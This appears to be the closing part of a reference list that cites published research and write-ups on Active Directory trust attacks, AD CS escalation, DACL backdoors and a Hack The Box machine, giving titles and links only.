 - [11] [A journey into forgotten Null Session and MS-RPC interfaces](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
 - [12] [SID filter as security boundary between domains? (Part 4) - Bypass SID filtering research](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4)
 - [13] [SID filter as security boundary between domains? (Part 5) - Golden GMSA trust attack - from child to parent](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-5)
 - [14] [SID filter as security boundary between domains? (Part 6) - Schema change trust attack - from child to parent](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-6)
 - [15] [From DA to EA with ESC5](https://specterops.io/blog/2023/05/16/from-da-to-ea-with-esc5/)
 - [16] [Escalating from child domain's admins to enterprise admins in 5 minutes by abusing AD CS, a follow up](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)
 - [17] [An ACE Up the Sleeve: Designing Active Directory DACL Backdoors](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)
 - [18] [NetExec pre2k module source](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/pre2k.py)
 - [19] [Microsoft ADSchema - msDS-GroupMSAMembership attribute](https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-groupmsamembership)
 - [20] [0xdf - HTB Pirate](https://0xdf.gitlab.io/2026/09/05/htb-pirate.html)